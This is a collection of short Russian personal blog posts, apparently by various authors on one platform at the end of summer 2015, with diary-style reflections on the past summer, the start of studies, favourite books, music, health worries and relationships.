Надо сказать, что никаких особенных идей Моруа не предлагает. Он анализирует человеческие чувства, любовь и брак. Как вести себя, что первый брак стал и последним? Чтобы он просуществовал долгое время? Как вести себя с соперницей? Иногда у меня возникали ассоциации, что я читаю пособие в стиле «Как стать настоящей женщиной». 1000 и 1 способ стать добродетельной и мудрой женой. Приятный язык Моруа, легкость чтения принесут удовольствие, но особых интеллектуальных изысков ждать не стоит. Но это точно качественная замена современных любовных романов.

А меня ждет «Земля обетованная». Думаю, что выводы будут те же. Но ничего нельзя знать заранее.

А у кого это температура 37 и высокое давление? Мало было тошнилок, ещё и это! ну куда столько всего?? Мой пушистый доктор не отходит ни на секунду, откуда животные всё так чувствуют? Блин, я так устала болеть

Наверное, неправильно было бы просидеть всё первое сентября дома. Наш препод по зарлиту тоже так подумал :) Устроил конференцию, прогул которой - автоматический недопуск к сессии. Да, даже первачки на неё идут. Испортил малышам такооой день :) Зато привыкнут к муштре раньше, чем когда-то мы.

У нас год назад был концерт и вручение студаков в уч.театре, а потом - пьянка с второкурсниками. (Ну, как пьянка - я заказала себе безалкогольный мохито и лазанью, а напивались в основном платники) А "новобранцам" не повезло - в этом году на вручение студаков в театр идут только акт, реж и акт-реж. Типа "only самые интересные и талантливые люди нашего универа". Мдя.

А нашим будут вручать студаки сразу после конфы у препода по зарлиту, в читалке библиотеки.

Надеюсь, между конфой и вручением будет какой-то перерыв, и я сбегу. Мне в этот день нужно на предпоказ премьеры Вырыпаева и, возможно, на собеседование по работе. Очень хочу работу, но работать а-ля "улыбаемся и машем" - это унизительно. Я лучше буду вагоны разгружать. Поэтому пока не звонила и не договаривалась о собеседовании, в надежде, что до конца дня найду что-то более достойное.

Да, про пьянку в тот диалог, где есть я, мои однокурсники все-таки написали. Я, само собой, тут же ответила старосте в личке, что меня не будет. Она как будто не ожидала, что я откажусь от такой заманчивой перспективы бухать всю ночь со вчерашними школьниками. Спросила: а у тебя все хорошо? точно?

Если бы у меня все было плохо, я бы как раз не отказалась напиться.

Но пока еще не настолько.

Теперь я знаю: всё когда-нибудь остынет,
Идите к чёрту с вашим «навсегда» —
Я предпочту стреляющих мне в спину,
Чем тех, кто беспощадно врёт в глаза…

забыла вообще про свой блог и сегодня думаю чего мне не хватало все эти дни….ииииии….ах да, вьюви!!!! моего любимого блога, я так долго здесь не была, может потому что моя душа была спокойна, а теперь я снова вернулась, когда меня что- то внутри беспокоит, что-то, что не дает мне покоя и я здесь до тех пор пока не найду себя, себя ту которая была….
Всем привет, всех люблю и простите что пропала

Я прожил год без любви

…но не это лето

В начале лета был написан список предполагаемых дел - честно признаюсь, я забила на него еще где-то в июне. Оставила пост ради поста и планов на будущее. Разношерстное лето. В голове не возникает одной определенной температуры, ясного ощущения или чувства, ассоциирующихся с этим летом. Самое быстрое из всех, что я помню. Ускользнувшее. Оно обдумывалось многие месяцы, но в большем на стадии обдумывания и осталось, поэтому лето 2015 - э то три месяца, которые я мирно плыла по течению, время от времени напарываясь на подводные камни, попадая в глупейшие ситуации и случайно сталкиваясь с новыми людьми, вещами, проблемами. Лето было смешное до ужаса. Такое родное, такое теплое, такое сонное. И это маленький список того, что было сделано.

Отправздновать семнадцатилетие.
Получить одним из подарков вкуснейший торт с Muse.
Начать и закончить свой день рождения с одним из самых дорогих людей.
Целый день есть лишь суши и панакоту.
Попасть на день рождения к незнакомому человеку на следующий день после своего.
Побывать на Алых парусах.
Часами напролет бродить по сказочному Санкт-Петербургу и заработать себе на нескольких пальцах ног синяки под ногтями на все лето.
Исполнить мечту последний пяти лет - увидеть и услышать Muse, до сих пор не верить и хотеть на следующий концерт.
А еще побывать на выступлении Poets of the Fall и GusGus.
Снова слетать в Калининград.
Скучать всем своим естеством по дому, тем самым не замечая целую неделю в удивительном городе и море.
Почти две недели опять жить на форуме в палатке.
Побродить в воде Балтийского моря по щиколотку - максимум, позволенный погодой.
Разгребать ногами склизкие холодные зеленые водоросли после шторма в поисках ян таря.
Второй год подряд ночью лежать на траве у сцены форума и думать о бытие.
Провести несколько нетрезвых вечеров в замечательной компании и играть настолки.
Встретить закат за городом, сидя на скалах у озера.
Стать частью команды føle, написать две статьи, гордиться.
Взять первое в жизни интервью, да еще и у любимого художника из другого города.
Первый раз вызвать полицию.
Купить несколько пачек неоновых палочек и быть довольным как слон.
Начать новый рисунок, но так и не закончить.
Пропустить Anabuk в Калининграде и не познакомиться с HIM и Animal ДжаZ.
Впервые посмотреть Star Wars.
Приготовить литовский холодный борщ.
Пару раз за лето таки почувствовать, что выспалась.
Смотреть Ганнибала и засыпать вместе десять ночей.
Решить сдавать историю и готовиться весь август с нуля.
В предпоследний день лета первый раз в жизни побывать в батутном центре.
Понять, что есть человек, удивительнее и дороже Балтийского моря

Завтра начинается последний небольшой отрезок школьной жизни, также вызывающий противоречивые чувства: нежелание возвращаться и сильный страх от того, что скоро все закончится.

Музыкальный кусочек лета:

Muse - Mercy
GusGus - Over
The Cure – A Strange Day
The Neighbourhood – Honest
The Neighbourhood – R.I.P 2 My Youth
IAMX – Kingdom Of Welcome Addiction
Е. Гришковец и Бигуди – Год без любви
Animal ДжаZ - Ответ Нет
Mura Masa – Firefly
Panic! At The Disco - Hallelujah

Работает, нет этого беспокойства, что было вечером и утром. Но теперь я в ярости, от такой "шикарной" шутки, которая сегодня днем прозвучала

Итак, цифра 21.
21. Ваше воспоминание из детства (первое, которое пришло в голову).
Сразу вспомнила тот вечер, когда со мной игрался папа. У нас была такая игрушка лиса, довольно большая. И она надел ей на голову мои трусы :DDD Я так сильно смеялась тогда! Наверное, поэтому мне в голову отложился этот момент, очень эмоциональный)

Мне так тяжко уходить от этго.

Как же все-таки мозг работает, буксует…а душаа она сильней в бою

Нет уж….не хочу.

Я только больнее делаю.себе же.

Если вокруг одни незнакомцы, никого из моих родных и друзей, я становлюсь тихой и немного странной. Наверняка это выглядит довольно невежливо, да и просто фриковато. Но я это делаю не специально. Я работаю над собой, стараюсь вылезать из своей скорлупы, но мне сложно. Раньше я больше верила людям.

Сейчас же думаю: «Ты наверняка хочешь со мной подружиться только потому, что меня часто показывают по телевизору». Поэтому все мои друзья — с давних времен, они уже привыкли к тому, что я не очень-то крута и общительна. Конечно, я гораздо увереннее в себе, чем это было раньше, но надо признать, что странноватость никуда не делась.

Лейтон Мистер←

За это лето я открыла для себя столько потрясающих исполнителей! Хоть я и не близка к популярной культуре, мой музыкальный вкус немного расширил кругозор. Единственное, что сделать так и не удалось - подключиться к русскоязычной музыке. В ней важен, очень важен текст, в отличии от англоязычной здесь все понимается с первой буквы. Вот я и не могу найти своего исполнителя. Зато Birdy и Rhodes написали общую песню, что для меня является таким комбо: два любимых исполнителя грустной музыки. И клип очень успокаивающий. В общем-то, пока я не заслушала до дыр любимые песни, мой плей-лист впервые не заставляет меня переключать на следующую композицию. Кстати, кто еще не открыл для себя Years&Years - это группа моего лета (да и не только моего, наверное).


Блер: Никогда не ходи в старшую школу, Дорота. Девчонки испорченные, глупые и неблагодарные.

Блер: Один светский снимок и все: Серена, Серена, Серена!

Если мы с тобой мало разговариваем, то это не значит, что ты мне не нравишься. Просто я не очень-то разговорчивая. Люблю все держать в себе.

Мне кучу всего надо написать сюда, но у меня совсем нет времени, честно.
Хочу написать только о том, что несколько дней назад уволился наш куратор и мы были очень рады этому, так как она не была нашим любимым преподавателем, постоянно тормозила, тупила и за это мы называли её "буземной Изольдой".
И сегодня нам сообщили о том, что нашим куратором будет преподаватель, который учит нас шитью, который занимался с нами в цехах и который проводит у нас практику.
Мы все тут скачем от радости, потому что очень любим эту женщину и она очень много для нас сделала. Теперь все резко захотели на учёбу, выбираем ей букет, чтобы завтра подарить и вообще все очень счастливы.
У меня в этом году даже не было того аппатичного и жуткого настроение перед учёбой, которое было много лет подрят. Я рвусь учиться, что-то делать, общаться, развиваться. Мне просто надоело сидеть дома.
И еще хотелось бы пожелать удачи тем девушкам, которые идут на 1 курс. Удачи вам и хороших людей рядом :)
Вспоминая своё 1 сентября и вообще свои первые дня в новом коллективе я ни о чём не далею и безумно счастлива, что попала именно в ту группу, в которой сейчас учусь.

Купила краску для волос и даже та оказалась цвета какого-то шоколадного пирожного. Боже, меня повсюду окружает еда: /

У нас в городе был всего один эпилептолог, к слову, врач знающий, что большая редкость. Позвонила сегодня записаться - сказали, что больше нет такой должности, ибо теперь неврологи этим занимаются. Вот такие дела. Но этот эпилептолог теперь принимает теперь частным образом в аптеке, как и многие хорошие врачи в нашем городе. Ну как многие, хороших врачей в городе всего по одному каждой специализации. Проверено мною на личном опыте. Ну записалась к ней, какая мне разница, все равно хожу платно ко всем.

Еще пыталась забрать с больницы, где лежала, выписку и ксерокс моих анализов (которые я сдавала платно), они мне очень важны, потому что во время беременности были сделаны. Так бы я не парилась и сдала заново… Просто во время беременности за неделю до того, как она замерла гемоглобин у меня увеличился в 2 раза! это что-то да значит, может у меня склонность к тромбофилии как и у мужа, а это влияет на вынашиваемость.

Завтра 1 сентября, пар нет, но есть торжественный концерт в Дворце детства и юности, надо всем быть. Вообще могла б и не ходить, у меня куча справок и т.д., но схожу, все равно заняться нечем.

Цени человека, который дал еще один шанс. Это значит, что его Любовь к тебе настолько сильна, что его сердцу хватит сил дать тебе новую попытку.

АА я как представлю, что завтра уже в универ, прям вздрогну..ужаааассс…как же хороше отдыхать, делать то, что тебе хочется или совсем ничего не делать..еще и 3-й курс, как быстро летит время, просто невозможно быстро…только кажется я боялась идти на линейку первокурсников, а тут уже 2 года прошло…как пережить и этот курс, не вылететь, ведь предстоит большая ж**а…сил и терпения мне!

2 books

приняла от милых bretagne и mils(спасибо!), передаю sweetgrint, bit, wand, xsilentiumx и всем тем, кто хотел бы поучаствовать в таком флешмобе :)

правила: выложить фотографию двух книг из коллекции (суть именно в том, чтобы это были печатные книги) и обосновать свой выбор.
эстафету постить под тэгами "2 books" и "2 книги", чтобы было легче найти.

выбрать двух любимых авторов для меня намного проще, чем выбрать любые две книги, потому что каждая книга, прочитанная мной, оставила какой-то отпечаток в моей душе, с каждой книгой что-нибудь да связано. но объяснить выбор этих двух книг будет намного проще.

1. Записки о Шерлоке Холмсе. просто покажите мне человека, который прочитал эту книгу и которому она не понравилась. вот честно, по-моему, он вам соврал. эта книга - это просто находка для человека, которому нравятся детективы, вся история про шерлока, отменный юмор и загадки. просто когда начинаешь читать одну "записку", то ты уже сам переходишь ко второй, третьей, десятой и останавливаешься только тогда, когда прочтёшь их все. в общем, просто скажу, что это моя любовь.

2. Хорошо быть тихоней. многие люди, кто читали эту книгу, сравнивают себя с главным героем, с Чарли. я вам совру, если скажу, что я так не делала. это просто нереально, наверное. эта книга идеальна для тех людей, кто потерялся и кто ищет себя. плюс благодаря этой книге вы сможете найти ещё кучу прекрасных произведений. мне безумно понравилось то, что эта книга написана в форме писем, потому что мне бы самой очень хотелось писать кому-то или же чтобы мне кто-то писал и делился всем на свете. и да, это ещё одна моя любовь, поэтому она и здесь.

Последний день лета.

Все так снова изменилось, поменялось, самое ужасное лето этого года… рпи этом самое быстрое.

Не нужны мне такие жизненные уроки…не хочу..

Нужно жить дальше. Мы справимся со всем. Только нужно не много терпения и все будет.

Я снова усвоила несколько для себя правил..Мне больше нечего сказать, теперь только двигаться вперд и вперед.

Кончились детские игры, теперь все по-взрослому.

Жизнь продолжается…

Завтра уже 9 месяцев и мой любимый, дорогой человечек через 2 месяца будет дома!

91 денек… дождеемся, встретим…все как нужно.

Завтра первый день осени.. а сил, энергии, духа нет. .нет ничего, чтоб начать двигаться дальше.Будем воспитывать себя и только заставлять.

Спасибо тем, кто со мной рядом, спасб тем, кто мной так дорожит, любит меня, ценит и уважает.

Вы самое что не на есть драгоценное в моей жизни.

Любые передряги..вы рядом

Горе и радость со мной разделите. Я это знаю.

Спасбо тем, кто ушел с моей жизни и спаисбо тем, кто вернулся, кому стало нужно это и понятно.Я теперь другими глазами и душой смотрю на нее.

Я перетсану быть той, которой была.

Все по-другому…и глазами на жизнь Да на все другими глазами!

Я хочу сказать одно, будь доброй душой, прощайте все, ведь Бог нам прощаем все, не будьте злыми..не таити злобу в душе.

Помогайте.. но во время уходите если чувствуйте, чтов се и дет не так.

Улыбайтесь всегда!

Любите и носите на руках своих родителей!

Все будет хорошо все зависет только от нас!

Вышла из больницы - попала под ливень. Связь тупит, маршруток нет, денег на такси нет. Вся промокла, пока добиралась. Купила Баунти и яблок на шарлотку. Горячий чай с шоколадкой уже дома. Голова так и болит. Отправили к неврологу, предупредив, что там очередь и немаленькая. Завтра попробую записаться. Что можно еще выпить от боли, кроме Кетанов, Найз, папазол, спазмалгон? Может надо напиться?

Да, у меня плохой характер. Я слишком требовательная, слишком ревнивая. Если у меня нет настроения, то я испорчу его всем. Многие мне говорят, что я должна изменить свой характер. А я не могу и не хочу. Я хочу чтобы меня полюбили такой, какая я есть. Именно тогда я пойму, что я действительно нужна.

31 августа, лето пока и и тому подобные фразы были мы здесь кстати, но речь сейчас пойдет совсем о другом.

Просто хочется сделать какие-то финальные выводы к концу летнего сезона.
Я раньше говорила, что это лето будет решающим в плане наших отношений. Я даже посчитать не могу, сколько раз он доводил меня до слез и сколько раз я неистово истерила. Но если посмотреть с другой стороны, я понимаю и вижу как сильно он меня любит. Другой бы уже давно выставил и попрощался. Он меня не отпустит, по крайней мере сейчас.

И все же я по прежнему его люблю.

Не знаю почему, но мне кажется, этих 4 месяца пролетят быстро и как будто спустя миг, мы будем опять вместе.

Я сегодня впервые в жизни делала МРТ. И это былоо оооочень странно.

Лежишь такой в берушах, голова зафиксирована, как в гробу прям. Это была моя первая мысль :D

Потом я стала себя настраивать на мысль, что я космонавт в космической капсуле :D Было очень похоже :D (я на днях прочла марсианина, так что ассоциация понятна :D) Еще там были разные звуки.. я так поняла, они смотрели, как мозг реагирует на разные раздражители.. для меня это были разные космические датчики системы :D В общем прикол…

После меня была женщина, и она почти тут же нажала на тревожную кнопку. Запаниковала.. странно… страшного в аппарате ничего совсем не было… особенно если думать что ты Марк Уотни :DDD

Благодарю lifesketches

Напрягаю listeningtothewind, ибо я ей обещала "подляночку"

Правила: называем 3 слова (это может быть либо существительное, либо глагол), которые ассоциируются с этим летом и кратко обосновываем свой выбор. Постим под тэгом "3 summer things"

Неловкость - это когда у Судьбы отличное чувство юмора, но смеются надо мной. А мне, честно говоря, не особо смешно.

Ясность - это когда я уверена в своих решениях и признаю свои ошибки. Сие отрадно.

Теплота - Это когда у Судьбы все еще отличное чувство юмора, но шутит она надо мной не просто так да по-доброму. А я до сих пор полна решимости, и меня все устраивает. Все хорошо.

Ничего настолько серьезного и захватывающего на самом деле.

Я решила, что вообще ничего не буду ждать. Ничего и никого. Сколько можно провожать поезда и перемалывать сердце на порошки ради кого-то. Мне и так хорошо. Без всех. Просто жить. Просто для себя. Просто в свое удовольствие. После этой бесконечной тяжелой зимы для счастья мне достаточно голубого неба в окне, чая и музыки в наушниках. То, что суждено, придет само. Ворвется в душу, как весенний ветер. Но это будет совсем другая история.

приняла от: lifesketches
передаю : ebullient, da-australia, flickers, only-you


— Решить —

В самом начале лета передо мной стояла задача: выбрать дальнейший ход событий касательно студенчества. Остановиться и начинать поиски работы, что меня пугало, ибо, как оказалось. я боюсь ответственности, или продолжать перебывать в статусе студента? Заканчивая 4 курс я была уверена, что пора ставить точку в моей истории, полной страсти, с универом. Но потом были дни в размышлениях, страхе, сомнениях, попытках разобраться в истинных желаниях. Так что в итоге я буду осваиваться на заочной форме обучения, таким образом соединяя два варианта.

— Впустить —

Работа над føle требует постоянного общения с новыми людьми. Для меня - человека, которому довольно сложно впускать в свою жизнь незнакомцев - это казалось довольно сложным. Но журнал предает уверенности, и общаться, советоваться, делиться с теми, о ком впервые узнал 5 минут назад, оказалось не таким уж трудным делом, как представлялось. За эти 3 месяца я познакомилась с огромным количеством людей, которые меня не устают мотивировать и веселить.

— Верить —

В свою идею. Именно летом - 1 июля - сбылось то, о чем я даже не решалась мечтать. И если в будущем я усомнюсь в своих силах и возможностях, стукните меня хорошенько по голове, чтобы вразумить. Ибо "пределов нет". Если по-настоящему захотеть, то можно реализовать все задуманное. Нужно лишь суметь отважиться, упрямо игнорировать страх и неустанно двигаться к финишу. Верьте!

Поднялся доллар - подняли цены. Доллар упал - ни одна падла цены не опускает. Значит дело не в долларах, а в падлах.

В общем, через час уезжаю в общагу, буду писать меньше. Желаю всем удачи в новом учебном году.!)
На счет Артема, я решила, что не буду специально его избегать или наоборот пытаться промелькнуть перед его глазами.
На самом деле нам вместе в общежитии жить еще год, и мы точно будем видиться и уж тем более мне придется зайти к нему в комнату, потому что там мои друзья.

короче, просто буду делать то, что хочу и общаться с теми, с кем хочу.

Постараюсь просто сделать вид, что Артем - обычный парень.. К примеру, как Дюдик или Витек :D

"Июньские зори, июльские полдни, августовские вечера - все прошло, кончилось, ушло навсегда и осталось только в памяти. Теперь впереди долгая осень, белая зима, прохладная зеленеющая весна, и за это время нужно обдумать минувшее лето и подвести итог"

"Только дурак станет хранить обрезки ногтей. Ты когда-нибудь видал, чтобы змея старалась сохранить свою старую кожу?"

"Она не знала, что разбитые сердца могут исцеляться"

Я все это к тому, что сегодня же последний день моего любимого месяца, а у меня совершенно нет чувства, что завтра выключать будильник в 5:50, гладить рубашку и сидеть в аудитории под гам двух мужских басов и девичий смех. Завтра начинается долгий, муторный и тяжелый год. А он будет тяжелым, это несомненно.
Ощущение, будто вовсе разучилась здесь писать, потому что ладошки трут лицо, вздыхается и слово через три стирается, чтобы набрать заново.
По сути, неплохое было лето же. Я сижу сейчас, наверстываю свой список фильмов и думаю, что вообще делала столько времени, если ничего не успела.
Мы обошли этот город с ног до головы и обратно, обгорела и купалась в соленом, носила сарафаны и теплые кофты, каталась на велосипеде, подстриглась считай под мальчика, мочила ноги в пруду, ходила босиком, сидела на траве в центре городского парка, залезала на террикон, пес вот утку добыл, какое-то кошмарное число раз снился Н. (последний раз, что вижу от него сообщение - "ночью", может там еще что-то было, но только открыла, как утро уже), три письма еще написалось, каталась на трамвае в лицей, улыбалась там и видела как там помнят все-все, хохочут на целый коридор и угощают пирогами.
Я осилила только что "Груз 200" , ребята, и это худшее, что со мной было. Если бы можно было вернуться назад и что-то поменять, я сделала бы лишь одно - не смотрела этот фильм. Это из тех, которые не обязательны к просмотру и которые уж точно не пересматриваются. Я не пролила ни слезинки, но мне стало плохо с сердцем. Фраза "основано на реальных событиях" впечатывается в ваш мозг и повторяется каждые 10 минут. Ни одна зарубежная драма не идет ни в какое сравнение по тягости и следу, который этот фильм оставляет. Как жить теперь с этим, ума не приложу.
Зато "Хулиганы зеленой улицы" теперь в списке любимых, хоть главный уличный парень там - просто копия Н., пока смотрела, вспомнила все его рассказы о "детстве" и улице.
А "Фриду" вы просто обязаны посмотреть!

Я все это к тому, что время идет, цитату про сердце я же не случайно выбрала. Страница перевернута.
Я абсолютно та же, что была еще год назад, но уже не два. Изменилось может лишь количество прочитанных книг да немного умишка и опыта прибавилось. Меня не меняют ни длина волос, ни круг общения, ни наличие горьких страданий. Я это я, и если у меня сложено мнение о ком-то, оно не изменится, я по-прежнему не умею бросать первая и легко и быстро забывать человека.

Нашла себе тут в Интернете глубоко страдающего юношу, веду теперь с ним периодически ночные переписки и не говорю даже своего имени. Не знаю к чему, просто человеку иногда нужно выговориться, рассказать кому-то свою историю от начала и до конца, попросить мнение со стороны. Просто иногда, когда тебе самому нужна помощь, ее можно найти, оказывая помощь другому.
А может это развлечение, способ порефлексировать лишний раз, или набить себе цену мол я умная и даю самые точные советы, повторяя из раза в раз, что лучшего советчика, чем ты сам для себя, тебе не найти.

Ну, так что же, "все к лучшему в этом лучшем из миров" ?

И тут я поняла, что у меня осталась книга Ж" Ночной дозор", которую подписал сам Лукьяненко (автор Дозоров, кто не знет). И хрен он ее еще когда-нибудь увидит. Вот. Маленькая месть.

LOKI'D, сука

вот и приходится говорить банальное "висим на волоске",
и банальное "не срослось".
отвыкаю чертовски быстро. майское безумие обретает своё завершение в сентябре.

сейчас другие планы и другие проблемы. сейчас здоровье моё даёт явный сбой и всё, что я знаю-это то, что нужно будет много работать над собой и во многом себе отказывать.

завтра мы уходим в неведомое.

The end of summer 2015

Пока мой чай с мятой остывает, я решила подвести итоги этого лета.

Это лето порадовало меня новыми друзьями (Кирилл, Влад), новыми местами (обрыв на берегу Кана), приключениями, сериалами, фильмами и моментами. Это лето было, несомненно, таким же ярким и незабываемым, как и прошлое. С каждым годом я понимаю, как быстро проходят дни, недели, месяцы, года. Я стала ценить время: больше проводить его с теми людьми, которые мне приятны. Почти не сидела за компьютером, как было это раньше. Если честно, то мне не хватило трех месяцев лета. По-настоящему я почувствовала лето в августе месяце. Каждый день гуляли с друзьями до позднего вечера, изведывали новые места города, где раньше мы не гуляли, была на фотосессии с подругой и многое другое. Я могу смело сказать, что ЛЕТО 2015 ГОДА Я НЕ ПРОСРАЛА!

Слово лета: кек
Напиток лета: 3% молочный коктейль "Чудо" со вкусом шоколада и чай с мятой
Еда лета: свежий хлеб :D
Фильм лета:" Слова", "Амели "
Друзья лета: Эля, Полина, Лия, Ксеня, Данил, Сергей, Кирилл, Влад, Настя и Никита
Незабываемые дни лета: праздник красок (хз, какое это было число), 5 августа, 15 и 16 августа

Лето 2015 года официально закрыто.

моя реакция на обновленного Джареда:
хээээй, чувааак, это было моей фишкой.ну…я тебя прощаю, отец :D
блин.у моего "настоящего"отца день рождения сегодня.не хочу с ним разговаривать.кажется, что последний раз, когда я его видела, было мое шестнадцатилетие.не будем о грустном :D
если я доживу до следующей весны, я снова буду ходить с розовыми волосами.запомните мои слова.это происходит каждую весну.каждый март :D
сорри.это кофеин.подруга придет и я оставлю интернет.

Сегодня официально была самая гадкая ночь за все лето.

Впрочем, день тоже не блистал всеми цветами радуги. С утра у меня был какой-то депрессивный настрой, возможно, это начинается аллергическая реакция на предстоящую школу, кто его знает. И вот безумно раздражает собственная меланхоличность. В один момент я до чертиков оптимистичная, наслаждаюсь жизнью, впору нацеплять просторное платье, хайратник и бегать по полям с цветами. Стоит чему-то пойти не так (а это может быть чье-то колкое слово, очередная неудача) и начинается превращение в тучу. Обычно свои меланхоличные перепады я стараюсь скрывать от других и выглядеть в их глаза максимально адекватной, что больше усложняет ситуацию. Еще мной все воспринимается слишком близко к сердцу, я потом сотню раз перекручиваю в голове слова по поводу себя и пытаюсь понять, что же стоит изменить. Однако от темы я явно отвлеклась. Итак, день не задался с утра. Уже ближе к вечеру я с отчимом (назовем его так) поехала по работе. Он обычно проверяет охранников, а я жду в машине. Не пропускаю такие поездки, потому что меня завораживает вид ночного города, это вдохновляет и расслабляет. Я даже придумала для себя формулу: «Если не любишь свой город, то взгляни на него ночью». Вчера, правда, мне было не до красот, пока ждала в машине, рыдала горючими слезами впервые за долгое время. Столько всего накопилось, добило то, что не увиделись с одним человеком. Я последнюю неделю только об этом мечтала, уверена, мне эта встреча дала бы сил очень надолго, а теперь придется искать утешения в чем-то ином. Целый гребанный год! Закончилась поездка разболевшимися глазами и головой, а также интересными рассказами, немного поднявшими настроение. Самый эпик начался дома, уже около часа ночи. Одному из родных стало плохо, пришлось вызывать скорую. И вот в таких ситуациях мне кажется, что я живу с детьми, кои безалаберно относятся к своему здоровью. Врачам еще пришлось уговаривать, чтобы он поехал в больницу, иначе за ночь можно умереть. Как итог мы сидели с мамой в темноте на кухне, я успокаивалась, поглаживая кошку и выпивая кипяток без сахара. Не спали до четырех, дожидались пока вернется бабушка, она выступала в роли сопровождающего. Разбрелись по кроватям уже в состоянии сонных мух. В конце уже болело все, начиная от головы и заканчивая сердцем, но повезло, что я слишком устала и быстро заснула. Поспали мы все немного, и я встала с жуткими мешками под глазами, вообще вид чудовищный, можно хоть сейчас ставить меня на главную роль чупакабры в фильме ужасов. Без грима . Скоро поедим в больницу, а пока я шатаюсь по дому фантомом и пытаюсь влить в себя вторую кружку кофе. Вышел бессвязный поток слов, но, чувствую, их скоро будет ой как немало.

P/S Не верится, что завтра вновь 1 сентября, осень. Кажется, что я легла спать в конце мая, а проснулась в конец августа. Где потерялось мое лето? Нашедшего просьба вернуть.


Коля - мое солнце. Он потратит ради меня только 50 минут в один конец, чтобы помочь с холодильником. Уговаривает меня бросить курить с 1 сентября, а я ищу ему симпотичных телочек в меде. Не видела его с 6 августа, а как будто месяца 3 не общались.

« Завтра осень »
hungry kids of hungary – when yesterday's gone.

Спонсор этого поста – Завтра. Потому что завтра осень. Обычно, когда завтра осень становится не по себе, но кое-кто здесь, понимаете ли вырос, и осени теперь не боится. Кое-кто теперь боится определенных явлений: встреч, новых людей, официальных зданий, заданий, деловой лексики, ответственности, но уже не времен года, и на том спасибо. И даже учебы теперь кое-кто не боится совсем. Покупка трех карандашей и тетрадки прошла без малейшего налёта паники, и на секундочку даже стало скучно жить, но потом я вспомнила о завтрашнем, а на данный момент уже сегодняшнем дне и жить стало совсем не скучно, потому что кое-кто ввязался в знатную авантюру, и кое-кого сегодня будут обучать рабочему авантюризму. Метафизическая осень уже завтра и я хочу поскорее это «завтра». Чувство, сравнимое с первым классом, когда весь обклеен бантами и пластырями, (потому что туфельки слишком прекрасны, а женщинам с самого начала жизни предначертано терпеть боль во имя красоты), несешь цветочки, гордо поднимая их выше крыши. Короче говоря, идешь, весь прекрасный, парадный и непередаваемо рад непонятно чему. То самое чувство, кроме того, что спустя столько лет парадности в образе поубавилось. А вот рад непонятно чему – это присутствует. Возможно тому, что мне только к третьей паре. И всю неделю, которой по счастливому стечению обстоятельств, - всего-то четыре дня, мне к третьей или пятой паре. А возможно тому, что медленно, откуда-то сбоку подползает понимание – это лучшие годы жизни. И еще, вероятно, потому что я хочу поделиться новым персиковым чаем с партией ценителей моих чайных церемоний. Банановый, конечно, был лучшим, но персиковый тоже ничего, в рамках познания мира и новых ощущений. Да и просто хочется каждый день выходить из дома, чаще вытаскивать из пыльного шкафа фотоаппарат и больше рисовать. Хотя в этом деле я на словах всегда тот еще Лев Толстой, но когда дело доходит до самого рисовать – я уже не так хочу рисовать. Но в глубине души все же хочу. К тому же у меня появился предмет, который звучит гордо и опасно – основы пластической анатомии. И хочу увидеть людей, которые мне нравятся. Все знакомы с таким типом людей, которые не нравятся нам просто потому что существуют, причины этому нет. А вот моя группа – это люди, которые мне нравятся, просто потому что существуют. У меня нет там лучших друзей, или даже просто друзей, но мне нравится большую часть дня проводить с ними. Этим постом я тут пытаюсь отвлечь себя от авантюризма через восемь часов, и пока у меня неплохо получается. Хотя сейчас вот уже не очень. Почему нельзя на протяжении всей жизни иметь дело исключительно с людьми, которых знаешь или же альтернативно знать всех людей планеты с рождения? Или почему нельзя избавиться по первому же желанию от настроя на то, что я в любом случае облажаюсь, зато по приходу домой могу съесть полпачки макарон с завитушками с сыром и сосисками? Макароны с завитушками, с сыром и сосисками это, конечно же, хорошо, и здесь они выступают положительными героями, но почему я не могу даже представить, что и кроме них все будет хорошо? Больно и обидно. Медленно перекатываюсь из жизни реальной в жизнь интернетную. Знаете что еще больно и обидно? Спойлеры. Я всегда их мастерски обходила стороной, но даже когда не обходила, это не было слишком страшно, потому что в основном это были спойлеры от людей, которые посмотрели последнюю вышедшую серию и знают на сорок пять минут больше информации, чем ты. Но недавно со мной случилось нечто новое в индустрии спойлеров. В комментариях кто-то проспойлерил конец сериала после выхода только первой серии. И так как это была только первая серия, и никто не может ничего знать, никакой точной информации нет, только предположения, я серьезно к этому не отнеслась, но все же запомнила, потому что этим я управлять не могу. Ужасные вещи запоминаются сами по себе, но как же сильно нужно стараться, чтобы запомнить хотя бы половину неправильных глаголов, боже правый. Нечестно, опять-таки больно и обидно, но да ладно. И знаете что? Этот черт из комментариев оказался прав. Я весь сериал смотрела с одной единственной мыслью – а что если он прав? Ничто не указывает на это, но это возможно. Это ужасно, когда не можешь просто следовать за сюжетом, зная только то, что в данный момент нужно знать. Я надеюсь, что с этим парнем когда-то поступят так же. Посылаю ему телепатические лучи мести. Кстати говоря, « Мистер Робот », если кто-то хочет посмотреть хороший и небольшой сериал. С неожиданной, блять, концовкой. Чайный апдейт – только что намешала персиковый чай, сахар и корицу, и это даже можно пить, и на вкус даже не плохо, а даже хорошо. Ну, я просто таки чайная царица. Всем хорошего дня и, что еще важнее, хорошей осени. А мне надо начинать морально собираться, чтобы встретиться лицом к лицу со всем, чего я боюсь новыми людьми, деловой лексикой, официальными зданиями, заданиями и ответственностью. И я почти не паникую, макароны с завитушками, с сосисками и сыром меня не бросят, как бы этот день не закончился.